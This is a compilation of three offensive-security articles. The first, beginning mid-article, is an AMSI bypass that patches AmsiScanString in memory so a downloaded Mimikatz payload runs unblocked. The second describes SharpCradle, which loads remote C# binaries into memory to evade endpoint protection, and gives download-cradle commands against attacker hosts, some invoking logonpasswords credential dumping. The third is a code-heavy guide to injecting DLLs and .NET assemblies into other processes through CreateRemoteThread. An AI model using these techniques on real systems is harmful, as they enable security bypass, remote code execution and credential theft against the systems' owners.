As you can see at 7fff9c1b2530 – 7fff9c1b2560, AmsiScanString() verifies the argument’s integrity. Right after that, the function initializes the user arguments to be transferred to the real scan. AmsiScanBuffer() treats the user console input string as a buffer to be scanned.

Our AmsiDumpsi.dll patches the original AmsiScanString() function straight in the memory. Here you can see the function at runtime after the patch:

Figure 5- AmsiScanString() After Patching

By changing the second function line, we’re zeroing one of the given arguments (rdx) and causing an error. For that reason, the function will jump straight to the end (instead of scanning the string with AmsiScanBuffer() ) in order to store the error code in the eax register and to return it to the caller function (see address- 00007fff9c1b2579).

By changing the 00007fff9c1b2579 line, we’ve changed the error code to be zero, so now eax will contain 0 [move eax,0] (instead of the original instruction [move eax,0x80070057h]) and the function returns 0.

As we can see in Microsoft’s documentation, returning 0 is equal to S_OK. S_OK means that the function successfully “scanned the payload” (bypassed the scan) and we can keep going.

Figure 6- AmsiScanString() Documentation

Now let’s look at the Obtainer code:

Figure 7- Obtainer loads AmsiDumpsi.dll

As you can see, we have a simple C# code, which was crafted into a PowerShell module by using the Add-Typecmdlet. This module loads the AmsiDumpsi.dll.

Here we can see the patch function in the AmsiDumpsi.dll:

Figure 8- Patch Function

As you can see, AmpsiDumpsiAttached() performs the following steps:

  1. Get a Pointer to the real amsi->AmsiScanString() function.
  2. Look for the original function error code (0x80070057) that the function returns in case of an error.
  3. Enable writing into the required memory address by setting the PAGE_EXECUTE_READWRITE permission.
  4. Patch the second AmsiScanString line by submitting the 4831d2 opcodes [xor rdx,rdx].
  5. Set the AmsiScanString error_code to 0.

Here’s a video that demonstrates this:


Let’s see what happens when we try to obtain a malicious Mimikatz payload into the PowerShell session by using the Net.Webclient->DownloadString method and the iex (Invoke-expression) cmdlet, which invokes the downloaded string into the PowerShell session:

Figure 9- AMSI and Defender protects against the new malicious payload submissions

As you can see, the Defender pops up and blocks the string (payload) from being invoked. If we try to look for the obtained Mimikatz function (by using the get-item function), we can’t find it.

After loading our AmpsiDumpsi.dll using the Obtainer, we can see the obtained Mimikatz function, while no Defender alerts have popped up:

Figure 10- Bypassing the AMSI protection, new Mimikatz payload submitted into the process memory


This research demonstrates how a bypass can be utilized on unpatched systems via PowerShell, regardless of a user’s privileges.

The advantages of the technique presented here are that amsi.dll is loaded in every PowerShell process; the API call for the AmsiScanString is performed regularly; and AMSI seems to be working correctly. Because of this, you’re only able to see that it actually doesn’t operate as it should if you protect the DLL in memory or examine its code at runtime.

For this reason, it’s important that organizations push this patch to all systems to avoid unnecessary risk.


SharpCradle — Loading remote C# binaries and executing them in memory

Картинки по запросу C# .net( Original text by  )

I am not a security researcher, expert, or guru.  If I misrepresent anything in this article, I assure you it was on accident and I will gladly make any updates if needed.  This is intended for educational purposes only.


Over the last 4-5 years I have dabbled with using C# for offensive purposes, starting first with running Powershell via C# runspaces and then slowly digging into other ways you could use the language offensively.  This eventually led to an idea a few years ago of attempting to write a post exploitation framework all in C#.  Unfortunately, no one told me that trying to write a full functioning post exploitation framework by yourself was not only extremely time consuming but also extremely hard.  So I decided it would be much easier to release small tools that have the functionality of some of the modules I had been working on, the first release being SharpCradle.

What it does:

SharpCradle loads a remote C# PE binary from either a remote file or web server using the file / web stream classes (respectively) into a byte[] array in memory.  This array is then executed using the assembly class.

How this could be useful:

SharpCradle isn’t exactly the same as our traditional powershell download cradle ( IEX (New-Object Net.Webclient).downloadstring(«http://IP/evil.ps1») ) but the concept, at least to me, is the same.  We are simply reaching out from our victim’s machine to somewhere remotely and retrieving our evil code and executing it in memory.  This helps in bypassing endpoint protections by making it harder to detect what exactly we are up to.  In fact, I have used this on a wide variety of client engagements and it has yet to get flagged, though I am sure that will eventually change as defenses are getting better every day.


This does not work for ALL binaries but only those written using managed code, such as C# or Visual Basic .NET.

Short example:

Since my good friend @g0ldengunsec and I just released SharpSploitConsole v1.1, which takes advantage of the awesome tool SharpSploit written by @cobbr_io, I will be using it as my «evil.exe» program that we will pull into memory using SharpCradle.

By running SharpCradle.exe without any arguments, you will see the below:


Web Server Download:

SharpCradle.exe -w https://IP/Evil.exe <arguments to pass>

SharpCradle.exe -w https://IP/SharpSploitConsole_x64.exe logonpasswords

File Server Download Anonymous:

SharpCradle.exe -f \\IP\share\Evil.exe <arguments to pass>

SharpCradle.exe -f \\IP\share\SharpSploitConsole_x64.exe logonpasswords

File Server Download With Creds:

SharpCradle.exe -f -c domain username password \\IP\share\Evil.exe <arguements to pass>

SharpCradle.exe -f -c domain username password \\IP\share\SharpSploitConsole_x64.exe logonpasswords

Download .NET inline project file from web:

SharpCradle.exe -p

By simply running SharpCradle.exe with the -w flag and giving it the web address of SharpSploitConsole_x64.exe with arguments, you will see that we are able to execute SharpSploitConsole in memory without the SharpSploitConsole binary ever touching disk.

An example of downloading the binary into memory and executing the function logonpasswords from mimikatz would look like the below:

Since SharpCradle also has the ability to retrieve binaries from a file share, we could,  for example, use Impacket’s to spin up a quick anonymous file share on our attack system and call our evil.exe from there.  We could also go as far as to combine this with post exploitation frameworks. Cobalt Strike’s execute-assembly function currently has a 1MB limit.  SharpCradle could be used as away around this by using Cobalt Strike to execute SharpCradle to pull in larger binaries that are over 1MB in size.

Lastly, I have left a few links to where you can grab the tool as well as stand alone .cs files for both web stream or file stream in case you want to customize your own.

Link to tools:

SharpCradle GitHub —

SharpCradle Compiled Binaries —

SharpCradleWeb.cs —

SharpCradleFileShare.cs —

SharpSploitConsole —

SharpSploit —

Injecting .Net Assemblies Into Unmanaged Processes

( origin text )

A detailed analysis of how to inject the .net runtime and arbitrary .net assemblies into unmanaged and managed processes; and how to execute managed code within those processes.




.Net is a powerful language for developing software quickly and reliably. However, there are certain tasks for which .net is unfit. This paper highlights one particular case, DLL injection. A .net DLL (aka managed DLL) cannot be injected inside a remote process in which the .net runtime has not been loaded. Furthermore, even if the .net runtime is loaded in a process one would like to inject, how can methods within the .net DLL be invoked? What about architecture? Does a 64 bit process require different attention than a 32 bit process? The goal of this paper is to show how to perform all of these tasks using documented APIs. Together we will:

  • Start the .net clr (common language runtime) in an arbitrary process regardless of bitness.
  • Load a custom .net assembly in an arbitrary process.
  • Execute managed code in the context of an arbitrary process.

Back To Fundamentals

Several things need to happen in order for us to achieve our goal. To make the problem more manageable, it will be broken down into several pieces and then reassembled at the end. The steps to solving this puzzle are:

  1. Load The CLR (Fundamentals) — Covers how to start the .net framework inside of an unmanaged process.
  2. Load The CLR (Advanced) — Covers how to load a custom .net assembly and invoke managed methods from unmanaged code.
  3. DLL Injection (Fundamentals) — Covers how to execute unmanaged code in a remote process.
  4. DLL Injection (Advanced) — Covers how to execute arbitrary exported functions in a remote process.
  5. Putting It All Together — A solution presents itself; putting it all together.

Note: The author uses the standard convention of function to refer to c++ functions, and method to refer to c# functions. The term «remote» process refers to any process other than the current process.

Load The CLR

Writing an unmanaged application that can load both the .net runtime and an arbitrary assembly into itself is the first step towards achieving our goal.


The following sample program illustrates how a c++ application can load the .net runtime into itself:

#include <metahost.h>

#pragma comment(lib, "mscoree.lib")

#import "mscorlib.tlb" raw_interfaces_only \
    high_property_prefixes("_get","_put","_putref") \
    rename("ReportEvent", "InteropServices_ReportEvent")

int wmain(int argc, wchar_t* argv[])
    char c;
    wprintf(L"Press enter to load the .net runtime...");
    while (getchar() != '\n');	
    HRESULT hr;
    ICLRMetaHost *pMetaHost = NULL;
    ICLRRuntimeInfo *pRuntimeInfo = NULL;
    ICLRRuntimeHost *pClrRuntimeHost = NULL;
    // build runtime
    hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
    hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
    hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, 
    // start runtime
    hr = pClrRuntimeHost->Start();
    wprintf(L".Net runtime is loaded. Press any key to exit...");
    while (getchar() != '\n');
    return 0;

In the above code, the calls of interest are:

CLRCreateInstance — given CLSID_CLRMetaHost, gets a pointer to an instance of ICLRMetaHost
ICLRMetaHost::GetRuntime — get a pointer of type ICLRRuntimeInfo pointing to a specific .net runtime
ICLRRuntimeInfo::GetInterface — load the CLR into the current process and get a ICLRRuntimeHost pointer
ICLRRuntimeHost::Start — explicitly start the CLR, implicitly called when managed code is first loaded

At the time of this writing, the valid version values for ICLRMetaHost::GetRuntime are NULL«v1.0.3705»«v1.1.4322»«v2.0.50727», and «v4.0.30319» where NULL loads the latest version of the runtime. The desired runtime should be installed on the system, and the version values above should be present in either %WinDir%\Microsoft.NET\Framework or %WinDir%\Microsoft.NET\Framework64.

Compiling and running the code above produces the following output as seen from the console and Process Hacker:

console screenshot
process hacker screenshot

Once pressing enter it can be observed, via Process Hacker, that the .net runtime has been loaded. Notice the additional tabs referencing .net on the properties pane:

console screenshot
process hacker screenshot

The above sample code is not included in the source download. However, it is recommended as an exercise for the reader to build and run the sample.


With the first piece of the puzzle in place, the next step is to load an arbitrary .net assembly into a process and invoke methods inside that .net assembly.

To continue building off the above example, the CLR has just been loaded into the process. This was achieved by obtaining a pointer to the CLR interface; this pointer is stored in the variable pClrRuntimeHost. Using pClrRuntimeHost a call was made to ICLRRuntimeHost::Start to initialize the CLR into the process.

Now that the CLR has been initialized, pClrRuntimeHost can make a call to ICLRRuntimeHost::ExecuteInDefaultAppDomain to load and invoke methods in an arbitrary .net assembly. The function has the following signature:

HRESULT ExecuteInDefaultAppDomain (
    [in] LPCWSTR pwzAssemblyPath,
    [in] LPCWSTR pwzTypeName, 
    [in] LPCWSTR pwzMethodName,
    [in] LPCWSTR pwzArgument,
    [out] DWORD *pReturnValue

A brief description of each parameter:

pwzAssemblyPath — the full path to the .net assembly; this can be either an exe or a dll file
pwzTypeName — the fully qualified typename of the method to invoke
pwzMethodName — the name of the method to invoke
pwzArgument — an optional argument to pass into the method
pReturnValue — the return value of the method

Not every method inside a .net assembly can be invoked via ICLRRuntimeHost::ExecuteInDefaultAppDomain. Valid .net methods must have the following signature:

static int pwzMethodName (String pwzArgument);

As a side note, access modifiers such as public, protected, private, and internal do not affect the visibility of the method; therefore, they have been excluded from the signature.

The following .net application will be used in all the examples that follow as the managed .net assembly to be injected inside processes:

using System;
using System.Windows.Forms;

namespace InjectExample
    public class Program
        static int EntryPoint(String pwzArgument)

                "I am a managed app.\n\n" + 
                "I am running inside: [" + 
                System.Diagnostics.Process.GetCurrentProcess().ProcessName + 
                "]\n\n" + (String.IsNullOrEmpty(pwzArgument) ? 
                "I was not given an argument" : 
                "I was given this argument: [" + pwzArgument + "]"));

            return 0;

        static void Main(string[] args)
            EntryPoint("hello world");

The example application above was written in such a way that it can be called via ICLRRuntimeHost::ExecuteInDefaultAppDomain or run standalone; with either approach producing similar behavior. The ultimate goal is that when injected into an unmanaged remote process, the application above will execute in the context of that process, and display a message box showing the remote process name.

Building on top of the sample code from the Fundamentals section, the following c++ program will load the above .net assembly and execute the EntryPoint method:

#include <metahost.h>

#pragma comment(lib, "mscoree.lib")

#import "mscorlib.tlb" raw_interfaces_only \
    high_property_prefixes("_get","_put","_putref") \
    rename("ReportEvent", "InteropServices_ReportEvent")

int wmain(int argc, wchar_t* argv[])
    HRESULT hr;
    ICLRMetaHost *pMetaHost = NULL;
    ICLRRuntimeInfo *pRuntimeInfo = NULL;
    ICLRRuntimeHost *pClrRuntimeHost = NULL;
    // build runtime
    hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
    hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
    hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, 
    // start runtime
    hr = pClrRuntimeHost->Start();
    // execute managed assembly
    DWORD pReturnValue;
    hr = pClrRuntimeHost->ExecuteInDefaultAppDomain(
    	L"hello .net runtime", 
    // free resources
    return 0;

The following screenshot shows the output of the application:

test .net assembly outputSo far two pieces of the puzzle are in place. It is now understood how to load the CLR and execute arbitrary methods from within unmanaged code. But how can this be done in arbitrary processes?

DLL Injection

DLL injection is a strategy used to execute code inside a remote process by loading a DLL in the remote process. Many DLL injection tactics focus on code executing inside of DllMain. Unfortunately, attempting to start the CLR from within DllMain will cause the Windows loader to deadlock. This can be independently verified by writing a sample DLL that attempts to start the CLR from within DllMain. Verification is left as an excercise for the reader. For more information regarding .net initialization, the Windows loader, and loader lock; please refer to the following MSDN articles:

Inevitably the result is that the CLR cannot be started while the Windows loader is initializing another module. Each lock is process specific and managed by Windows. Remember, any module that attempts to acquire more than one lock on the loader when a lock has already been acquired will deadlock.


The issue regarding the Windows loader seems sizable; and whenever a problem seems large it helps to break it down into more manageable pieces. Developing a strategy to inject a barebones DLL inside of a remote process is a good start. Take the following sample code:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
    switch (ul_reason_for_call)
    return TRUE;

The above code implements a simple DLL. To inject this DLL in a remote process, the following Windows APIs are needed:

OpenProcess — acquire a handle to a process
GetModuleHandle — acquire a handle to the given module
LoadLibrary — load a library in the address space of the calling process
GetProcAddress — get the VA (virtual address) of an exported function from a library
VirtualAllocEx — allocate space in a given process
WriteProcessMemory — write bytes into a given process at a given address
CreateRemoteThread — spawn a thread in a remote process

Moving on, the purpose of the function below is to execute an exported function of a DLL that has been loaded inside a remote process:

DWORD_PTR Inject(const HANDLE hProcess, const LPVOID function, 
    const wstring& argument)
    // allocate some memory in remote process
    LPVOID baseAddress = VirtualAllocEx(hProcess, NULL, GetStringAllocSize(argument), 
    // write argument into remote process	
    BOOL isSucceeded = WriteProcessMemory(hProcess, baseAddress, argument.c_str(), 
        GetStringAllocSize(argument), NULL);
    // make the remote process invoke the function
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
        (LPTHREAD_START_ROUTINE)function, baseAddress, NULL, 0);
    // wait for thread to exit
    WaitForSingleObject(hThread, INFINITE);
    // free memory in remote process
    VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE);
    // get the thread exit code
    DWORD exitCode = 0;
    GetExitCodeThread(hThread, &exitCode);
    // close thread handle
    // return the exit code
    return exitCode;

Remember that the goal in this section is to load a library in a remote process. The next question is how can the above function be used to inject a DLL in a remote process? The answer lies in the assumption that kernel32.dll is mapped inside the address space of every process. LoadLibrary is an exported function of kernel32.dll and it has a function signature that matches LPTHREAD_START_ROUTINE, so it can be passed as the start routine to CreateRemoteThread. Recall that the purpose of LoadLibrary is to load a library in the address space of the calling process, and the purpose of CreateRemoteThread is to spawn a thread in a remote process. The following snippet illustrates how to load our test DLL inside of a process with ID 3344:

// get handle to remote process with PID 3344
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 3344);

// get address of LoadLibrary
FARPROC fnLoadLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"), "LoadLibraryW");

// inject test.dll into the remote process
Inject(hProcess, fnLoadLibrary, L"T:\\test\\test.dll");

To continue building off the above example, once CreateRemoteThread is invoked, a call is made to WaitForSingleObject to wait for the thread to exit. Next a call is made to GetExitCodeThread to obtain the result. Coincidentally, when LoadLibrary is passed into CreateRemoteThread, a successful invocation will result in the lpExitCode of GetExitCodeThread returning the base address of the loaded library in the context of the remote process. This works great for 32-bit applications, but not for 64-bit applications. The reason is that lpExitCode of GetExitCodeThread is a DWORD value even on 64-bit machines, hence the address is truncated.

At this point three pieces of the puzzle are in place. To recap, the following problems have been solved:

  1. Loading the CLR using unmanaged code
  2. Executing arbitrary .net assemblies from unmanaged code
  3. Injecting DLLs


Now that loading a DLL in a remote process is understood; discussion on how to start the CLR in a remote process can continue.

When LoadLibrary returns, the lock on the loader will be free. With the DLL in the address space of the remote process, exported functions can be invoked via subsequent calls to CreateRemoteThread; granted that the function signature matches LPTHREAD_START_ROUTINE. However, this invariably leads to more questions. How can exported functions be invoked inside a remote process, and how can pointers to these functions be obtained? Since GetProcAddress does not have a matching LPTHREAD_START_ROUTINE signature, how can the addresses of functions inside the DLL be obtained? Furthermore, even if GetProcAddress could be invoked, it still expects a handle to the remote DLL. How can this handle be obtained for 64-bit machines?

It is time to divide and conquer again. The following function reliably returns the handle (coincidentally the base address) of a given module in a given process on both x86 and x64 systems:

DWORD_PTR GetRemoteModuleHandle(const int processId, const wchar_t* moduleName)
    MODULEENTRY32 me32; 
    // get snapshot of all modules in the remote process 
    me32.dwSize = sizeof(MODULEENTRY32); 
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processId);
    // can we start looking?
    if (!Module32First(hSnapshot, &me32)) 
    	return 0;
    // enumerate all modules till we find the one we are looking for 
    // or until every one of them is checked
    while (wcscmp(me32.szModule, moduleName) != 0 && Module32Next(hSnapshot, &me32));
    // close the handle
    // check if module handle was found and return it
    if (wcscmp(me32.szModule, moduleName) == 0)
    	return (DWORD_PTR)me32.modBaseAddr;
    return 0;

Knowing the base address of the DLL in the remote process is a step in the right direction. It is time to devise a strategy for acquiring the address of an arbitrary exported function. To recap, it is known how to call LoadLibraryand obtain a handle to the loaded module in a remote process. Knowing this, it is trivial to invoke LoadLibrarylocally (within the calling process) and obtain a handle to the loaded module. This handle (which is also the base address of the module) may or may not be the same as the one in the remote process, even though it is the same library. Nevertheless, with some basic math we can acquire the address for any exported function we wish. The idea is that although the base address of a module may differ from process to process, the offset of any given function relative to the base address of the module is constant. As an example, take the following exported function found in the Bootstrap DLL project in the source download:

__declspec(dllexport) HRESULT ImplantDotNetAssembly(_In_ LPCTSTR lpCommand)

Before this function can be invoked remotely, the Bootstrap.dll module must first be loaded in the remote process. Using Process Hacker, here is a screenshot of where the Windows loader placed the Bootstrap.dll module in memory when injected into Firefox:

Firefox Bootstap.dllContinuing with our strategy, here is a sample program that loads the Bootstrap.dll module locally (within the calling process):

#include <windows.h>

int wmain(int argc, wchar_t* argv[])
    HMODULE hLoaded = LoadLibrary(
    return 0;

When the above program is run, here is a screenshot of where Windows decided to load the Bootstrap.dllmodule:

Test Bootstrap.dllThe next step is, within wmain, to make a call to GetProcAddress to get the address of the ImplantDotNetAssembly function:

#include <windows.h>

int wmain(int argc, wchar_t* argv[])
    HMODULE hLoaded = LoadLibrary(
    // get the address of ImplantDotNetAssembly
    void* lpInject = GetProcAddress(hLoaded, "ImplantDotNetAssembly");
    return 0;

The address of a function within a module will always be higher than the module’s base address. Here is where basic math comes in to play. Below is a table to help illustrate:

Firefox.exe | Bootstrap.dll @ 0x50d0000 | ImplantDotNetAssembly @ ?
test.exe | Bootstrap.dll @ 0xf270000 | ImplantDotNetAssembly @ 0xf271490 (lpInject)

Test.exe shows that Bootstrap.dll is loaded at address 0xf270000, and that ImplantDotNetAssembly can be found in memory at address 0xf271490. Subtracting the address of ImplantDotNetAssembly from the address of Bootstrap.dll will give the offset of the function relative to the base address of the module. The math shows that ImplantDotNetAssembly is (0xf271490 — 0xf270000) = 0x1490 bytes into the module. This offset can then be added onto the base address of the Bootstrap.dll module in the remote process to reliably give the address of ImplantDotNetAssembly relative to the remote process. The math to compute the address of ImplantDotNetAssembly in Firefox.exe shows that the function is located at address (0x50d0000 + 0x1490) = 0x50d1490. The following function computes the offset of a given function in a given module:

DWORD_PTR GetFunctionOffset(const wstring& library, const char* functionName)
    // load library into this process
    HMODULE hLoaded = LoadLibrary(library.c_str());
    // get address of function to invoke
    void* lpInject = GetProcAddress(hLoaded, functionName);
    // compute the distance between the base address and the function to invoke
    DWORD_PTR offset = (DWORD_PTR)lpInject - (DWORD_PTR)hLoaded;
    // unload library from this process
    // return the offset to the function
    return offset;

It is worth noting that ImplantDotNetAssembly intentionally matches the signature of LPTHREAD_START_ROUTINE; as should all methods passed to CreateRemoteThread. Armed with the ability to execute arbitrary functions in a remote DLL, the logic to initialize the CLR has been put inside functionImplantDotNetAssembly in Bootstrap.dll. Once Bootstrap.dll is loaded in a remote process, the address of ImplantDotNetAssembly can be computed for the remote instance and then invoked via CreateRemoteThread. This is it, the final piece of the puzzle; now it is time to put it all together.

Putting It All Together

The main reason behind using an unmanaged DLL (Bootstrap.dll) to load the CLR is that if the CLR is not running in the remote process, the only way to start it is from unmanaged code (barring use of a scripting language such as Python, which has its own set of dependencies).

In addition, it would be nice for the Inject application to be flexible enough to accept input on the command line; because who would want to recompile every time their app changes? The Inject application accepts the following options:

 m The name of the managed method to execute. ex~ EntryPoint
 i The fully qualified path of the managed assembly to inject inside of the remote process. ex~ C:\InjectExample.exe
 l The fully qualified type name of the managed assembly. ex~ InjectExample.Program
 a An optional argument to pass into the managed function.
 n The process ID or the name of the process to inject. ex~ 1500 or notepad.exe

The wmain method for Inject looks like:

int wmain(int argc, wchar_t* argv[])
    // parse args (-m -i -l -a -n)
    if (!ParseArgs(argc, argv))
        return -1;
    // enable debug privileges
    EnablePrivilege(SE_DEBUG_NAME, TRUE);
    // get handle to remote process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_processId);
    // inject bootstrap.dll into the remote process
    FARPROC fnLoadLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"), 
    Inject(hProcess, fnLoadLibrary, GetBootstrapPath()); 
    // add the function offset to the base of the module in the remote process
    DWORD_PTR hBootstrap = GetRemoteModuleHandle(g_processId, BOOTSTRAP_DLL);
    DWORD_PTR offset = GetFunctionOffset(GetBootstrapPath(), "ImplantDotNetAssembly");
    DWORD_PTR fnImplant = hBootstrap + offset;
    // build argument; use DELIM as tokenizer
    wstring argument = g_moduleName + DELIM + g_typeName + DELIM + 
        g_methodName + DELIM + g_Argument;
    // inject the managed assembly into the remote process
    Inject(hProcess, (LPVOID)fnImplant, argument);
    // unload bootstrap.dll out of the remote process
    FARPROC fnFreeLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"), 
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)fnFreeLibrary, 
        (LPVOID)hBootstrap, NULL, 0);
    // close process handle
    return 0;

Below is a screenshot of the Inject.exe app being called to inject the .net assembly InjectExample.exe into notepad.exe along with the command line that was used:

«T:\FrameworkInjection\_build\release\x64\Inject.exe» -m EntryPoint -i «T:\FrameworkInjection\_build\release\anycpu\InjectExample.exe» -l InjectExample.Program -a «hello inject» -n «notepad.exe»

inject notepad.exeIt is worthwhile to mention and distinguish the differences between injecting a DLL that was built targetting x86x64, or AnyCPU. Under normal circumstances, the x86 flavor of Inject.exe and Bootstrap.dll should be used to inject x86 processes, and the x64 flavor should be used to inject x64 processes. It is the responsibility of the caller to ensure the proper binaries are used. AnyCPU is a platform available in .net. Targetting AnyCPU tells the CLR to JIT the assembly for the appropriate architecture. This is why the same InjectExample.exe assembly can be injected into either an x86 or x64 process.

Running The Code

Moving on to the fun stuff! There are a few prerequisites for getting the code to run using the default settings.

To build the code:

  1. Visual Studio 2012 Express +
  2. Visual Studio 2012 Express Update 1 +

To run the code:

  1. .Net Framework 4.0 +
  2. Visual C++ Redistributable for Visual Studio 2012 Update 1 +
  3. Windows XP SP3 +

To simplify the the task of building the code, there is a file called build.bat in the source download that will take care of the heavy lifting provided the prerequisites have been installed. It will compile both the debug and release builds along with the corresponding x86, x64, and AnyCPU builds. Each project can also be built independently, and will compile from Visual Studio. The script build.bat will place the binaries in a folder named _build.

The code is also well commented. In addition, c++ 11.0 and .net 4.0 were chosen because both runtimes will execute on all Windows OSes from XP SP3 x86 to Windows 8 x64. As a side note, Microsoft added XP SP3 support for the C++ 11.0 runtime in VS 2012 U1.

Closing Notes

Traditionally, at this point papers tend to wind down and reflect on the techniques learned and other areas of improvement. While this is an excellent place to perform such an exercise, the author decided to do something different and present the reader with a basket full of:

easter eggsAs mentioned in the Introduction, .net is a powerful language. For example, the Reflection API in .net can be leveraged to obtain type information about assemblies. The significance of this is that .net can be used to scan an assembly and return the valid methods that can be used for injection! The source download contains a .net project called InjectGUI. This project contains a managed wrapper around our unmanaged Inject application. InjectGUI displays a list of running processes, decides whether to invoke the 32 or 64 bit version of Inject, as well as scans .net assemblies for valid injectable methods. Within InjectGUI is a file named InjectWrapper.cs which contains the wrapper logic.

There is also a helper class called MethodItem which has the following definition:

public class MethodItem
    public string TypeName { get; set; }
    public string Name { get; set; }
    public string ParameterName { get; set; }

The following snippet from the ExtractInjectableMethods method will obtain a Collection of type List<MethodItem>, which matches the required method signature:

// find all methods that match: 
//    static int pwzMethodName (String pwzArgument)

private void ExtractInjectableMethods()
    // ...

    // open assembly
    Assembly asm = Assembly.LoadFile(ManagedFilename);

    // get valid methods
    InjectableMethods = 
        (from c in asm.GetTypes()
        from m in c.GetMethods(BindingFlags.Static | 
            BindingFlags.Public | BindingFlags.NonPublic)
        where m.ReturnType == typeof(int) &&
            m.GetParameters().Length == 1 &&
            m.GetParameters().First().ParameterType == typeof(string)
        select new MethodItem
            Name = m.Name,
            ParameterName = m.GetParameters().First().Name,
            TypeName = m.ReflectedType.FullName

    // ...

Now that the valid (injectable) methods have been extracted, the UI should also know if the process to be injected is 32 or 64 bit. To do this, a little help is needed from the Windows API:

[DllImport("kernel32.dll", SetLastError = true, CallingConvention = 
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWow64Process([In] IntPtr process, 
    [Out] out bool wow64Process);

IsWow64Process is only defined on 64 bit OSes, and it returns true if the app is 32 bit. In .net 4.0, the following property has been introduced: Environment.Is64BitOperatingSystem. This can be used to help determine if the IsWow64Process function is defined as seen in this wrapper function:

private static bool IsWow64Process(int id)
    if (!Environment.Is64BitOperatingSystem)
        return true;

    IntPtr processHandle;
    bool retVal;

        processHandle = Process.GetProcessById(id).Handle;
        return false; // access is denied to the process

    return IsWow64Process(processHandle, out retVal) && retVal;

The logic inside the InjectGUI project is fairly straightforward. Some understanding of WPF and Dependency Properties is necessary to understand the UI, however, all the pertinent logic related to injection is in the InjectWrapper class. The UI is built using Modern UI for WPF, and the icons are borrowed from Modern UI Icons. Both projects are open source, and the author is affiliated with neither. Below is a screenshot of InjectGUI in action:

inject gui

Closing Notes Part Deux

This concludes the discussion on injecting .net assemblies into unmanaged processes. Don’t cry because it’s over. Smile ☺ because it happened. ~ William Shakespeare